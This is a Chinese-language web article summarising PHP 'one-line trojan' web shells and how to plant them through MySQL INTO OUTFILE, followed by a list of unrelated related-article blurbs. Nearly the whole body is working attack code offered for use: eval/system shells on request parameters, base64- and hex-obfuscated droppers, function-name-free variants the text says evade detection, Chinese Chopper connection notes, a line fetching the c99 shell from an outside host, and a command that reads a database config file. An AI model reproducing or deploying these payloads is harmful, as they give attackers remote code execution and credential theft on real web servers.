PHP與SQL語句寫一句話木馬總結
更新時間：2019年10月11日 14:18:20 作者：藏色散人
在本篇文章里小編給大家整理的是關于PHP與SQL語句寫一句話木馬的相關知識點，有需要的朋友們學習下。
一、基礎類的一句話--功能僅限于驗證漏洞了，實際中非常容易被查出出來：
<?php @eval($_GET["code"])?> <?php @system($_POST["cmd"])?>
二、編碼的替換的類型：
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
//會生成<?php @eval($_POST['lostwolf']);?>
<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>
//php在html內部的一種嵌入方式
<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>
三、其他類型：
<?php $_GET[a]($_GET[b]);?>
//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
<?php assert($_REQUEST["pass"]);?> //菜刀連接 躲避檢測 密碼pass
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);？>
//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 腳本類型:php 密碼為 pass
四、下載類型：
<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?>
<? echo file_get_contents("..//cfg_database.php");?> //顯示某文件
<? eval ( file_get_contents("遠程shell")) ?> //運行遠程shell
五、無關鍵函數類型：
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass
<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
六、補充知識點：
SQL寫一句話（MySQL）：
select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php" #前面是一句話內容 后面是絕對路徑www下的PHP文件，同理其他腳本也可以
以上就是PHP一句話木馬小結與SQL語句寫一句話木馬的詳細內容，感謝大家的學習和對腳本之家的支持。
相關文章
這篇文章主要介紹了CURL的安裝與多線程實現方法，需要的朋友可以參考下2013-06-06
PHP學習筆記 IIS7下安裝配置php環(huán)境，需要的朋友可以參考下2012-10-10
PHP syntax error, unexpected $end 錯誤的一種原因及解決
PHP 遇到 syntax error, unexpected $end 錯誤時，查錯思路其實還是看看文件里 PHP 的開始標記和結束標記是否配對，還要額外注意注釋里是否出現過 ?> 喲。2008-10-10
php中json_encode UTF-8中文亂碼的更好解決方法
網上找到說json_encode編碼設置為UTF-8中文就不會亂碼，在用過一段時間之后就不太管用了，下面與大家分享更好的方法2014-09-09
這篇文章主要給大家介紹了關于PHP將PDF轉圖片的實現方法，文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值，需要的朋友們下面隨著小編來一起學習學習吧2022-12-12
這篇文章主要介紹了PHP代碼重構方法,結合實例形式較為詳細的分析了php代碼重構的概念、原理、相關實現技巧與注意事項,需要的朋友可以參考下2018-04-04
本篇文章是對php實現抽獎的程序代碼進行了詳細的分析介紹，需要的朋友參考下2013-06-06
這篇文章主要介紹了PHP實現二維數組按指定的鍵名排序的方法,這里以數組記錄三個人信息中的年齡age字段值進行排序為例,分析了php二維數組排序的操作技巧,需要的朋友可以參考下2017-08-08
為Plesk PHP7啟用Oracle OCI8擴展方法總結
在本篇文章里小編給大家總結了關于為Plesk PHP7啟用Oracle OCI8擴展方法和相關代碼，需要的朋友們學習下。2019-03-03
laravel是一個流行的PHP開發(fā)框架,用于構建高性能的Web應用程序,在開發(fā)和維護laravel項目時,了解當前使用的laravel版本是非常重要的,本文將介紹三種方法來查看laravel版本,需要的朋友可以參考下2023-11-11